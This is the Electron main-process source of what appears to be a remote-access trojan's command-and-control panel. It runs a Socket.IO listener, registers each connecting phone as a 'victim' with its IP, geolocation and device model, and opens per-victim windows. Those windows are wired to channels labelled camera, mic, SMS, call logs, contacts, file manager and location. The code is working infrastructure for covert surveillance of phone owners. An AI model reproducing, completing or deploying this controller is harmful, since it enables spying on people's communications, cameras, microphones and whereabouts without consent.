| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255 |
- const { app, BrowserWindow } = require('electron')
- const electron = require('electron');
- const { ipcMain } = require('electron');
- var io = require('socket.io');
- var geoip = require('geoip-lite');
- var victimsList = require('./app/assets/js/model/Victim');
- module.exports = victimsList;
- //--------------------------------------------------------------
- let win;
- let display;
- var windows = {};
- var IO;
- //--------------------------------------------------------------
- function createWindow() {
- // get Display Sizes ( x , y , width , height)
- display = electron.screen.getPrimaryDisplay();
- //------------------------SPLASH SCREEN INIT------------------------------------
- // create the splash window
- let splashWin = new BrowserWindow({
- width: 600,
- height: 400,
- frame: false,
- transparent: true,
- icon: __dirname + '/app/assets/img/icon.png',
- type: "splash",
- alwaysOnTop: true,
- show: false,
- position: "center",
- resizable: false,
- toolbar: false,
- fullscreen: false,
- webPreferences: {
- nodeIntegration: true
- }
- });
- // load splash file
- splashWin.loadURL('file://' + __dirname + '/app/splash.html');
- splashWin.webContents.on('did-finish-load', function () {
- splashWin.show(); //close splash
- });
- // Emitted when the window is closed.
- splashWin.on('closed', () => {
- // Dereference the window object
- splashWin = null
- })
- //------------------------Main SCREEN INIT------------------------------------
- // Create the browser window.
- win = new BrowserWindow({
- icon: __dirname + '/app/assets/img/icon.png',
- width: 800,
- height: 600,
- show: false,
- resizable: false,
- position: "center",
- toolbar: false,
- fullscreen: false,
- transparent: true,
- frame: false,
- webPreferences: {
- nodeIntegration: true
- }
- });
- win.loadURL('file://' + __dirname + '/app/index.html');
- //open dev tools
- //win.webContents.openDevTools()
- // Emitted when the window is closed.
- win.on('closed', () => {
- // Dereference the window object, usually you would store windows
- // in an array if your app supports multi windows, this is the time
- // when you should delete the corresponding element.
- win = null
- })
- // Emitted when the window is finished loading.
- win.webContents.on('did-finish-load', function () {
- setTimeout(() => {
- splashWin.close(); //close splash
- win.show(); //show main
- }, 2000);
- });
- }
- // This method will be called when Electron has finished
- // initialization and is ready to create browser windows.
- // Some APIs can only be used after this event occurs.
- app.on('ready', createWindow)
- // Quit when all windows are closed.
- app.on('window-all-closed', () => {
- // On macOS it is common for applications and their menu bar
- // to stay active until the user quits explicitly with Cmd + Q
- if (process.platform !== 'darwin') {
- app.quit()
- }
- })
- app.on('activate', () => {
- // On macOS it's common to re-create a window in the app when the
- // dock icon is clicked and there are no other windows open.
- if (win === null) {
- createWindow()
- }
- })
- //handle the Uncaught Exceptions
- // fired when start listening
- // It will be fired when AppCtrl emit this event
- ipcMain.on('SocketIO:Listen', function (event, port) {
- IO = io.listen(port);
- IO.sockets.pingInterval = 10000;
- IO.sockets.on('connection', function (socket) {
- // Get victim info
- var address = socket.request.connection;
- var query = socket.handshake.query;
- var index = query.id;
- var ip = address.remoteAddress.substring(address.remoteAddress.lastIndexOf(':') + 1);
- var country = null;
- var geo = geoip.lookup(ip); // check ip location
- if (geo)
- country = geo.country.toLowerCase();
- // Add the victim to victimList
- victimsList.addVictim(socket, ip, address.remotePort, country, query.manf, query.model, query.release, query.id);
- //------------------------Notification SCREEN INIT------------------------------------
- // create the Notification window
- let notification = new BrowserWindow({
- frame: false,
- x: display.bounds.width - 280,
- y: display.bounds.height - 78,
- show: false,
- width: 280,
- height: 78,
- resizable: false,
- toolbar: false,
- webPreferences: {
- nodeIntegration: true
- }
- });
- // Emitted when the window is finished loading.
- notification.webContents.on('did-finish-load', function () {
- notification.show();
- setTimeout(function () { notification.destroy() }, 3000);
- });
- notification.webContents.victim = victimsList.getVictim(index);
- notification.loadURL('file://' + __dirname + '/app/notification.html');
- //notify renderer proccess (AppCtrl) about the new Victim
- win.webContents.send('SocketIO:NewVictim', index);
- socket.on('disconnect', function () {
- // Decrease the socket count on a disconnect
- victimsList.rmVictim(index);
- //notify renderer proccess (AppCtrl) about the disconnected Victim
- win.webContents.send('SocketIO:RemoveVictim', index);
- if (windows[index]) {
- //notify renderer proccess (LabCtrl) if opened about the disconnected Victim
- BrowserWindow.fromId(windows[index]).webContents.send("SocketIO:VictimDisconnected");
- //delete the window from windowsList
- delete windows[index]
- }
- });
- });
- });
- //handle the Uncaught Exceptions
- process.on('uncaughtException', function (error) {
- if (error.code == "EADDRINUSE") {
- win.webContents.send('SocketIO:Listen', "Address Already in Use");
- } else {
- electron.dialog.showErrorBox("ERROR", JSON.stringify(error));
- }
- });
- // Fired when Victim's Lab is opened
- ipcMain.on('openLabWindow', function (e, page, index) {
- //------------------------Lab SCREEN INIT------------------------------------
- // create the Lab window
- let child = new BrowserWindow({
- icon: __dirname + '/app/assets/img/icon.png',
- parent: win,
- width: 600,
- height: 650,
- darkTheme: true,
- transparent: true,
- resizable: false,
- frame: false,
- webPreferences: {
- nodeIntegration: true
- }
- })
- //add this window to windowsList
- windows[index] = child.id;
- //child.webContents.openDevTools();
- // pass the victim info to this victim lab
- child.webContents.victim = victimsList.getVictim(index).socket;
- child.loadURL('file://' + __dirname + '/app/' + page)
- child.once('ready-to-show', () => {
- child.show();
- });
- child.on('closed', () => {
- delete windows[index];
- //on lab window closed remove all socket listners
- if (victimsList.getVictim(index).socket) {
- victimsList.getVictim(index).socket.removeAllListeners("x0000ca"); // camera
- victimsList.getVictim(index).socket.removeAllListeners("x0000fm"); // file manager
- victimsList.getVictim(index).socket.removeAllListeners("x0000sm"); // sms
- victimsList.getVictim(index).socket.removeAllListeners("x0000cl"); // call logs
- victimsList.getVictim(index).socket.removeAllListeners("x0000cn"); // contacts
- victimsList.getVictim(index).socket.removeAllListeners("x0000mc"); // mic
- victimsList.getVictim(index).socket.removeAllListeners("x0000lm"); // location
- }
- })
- });
|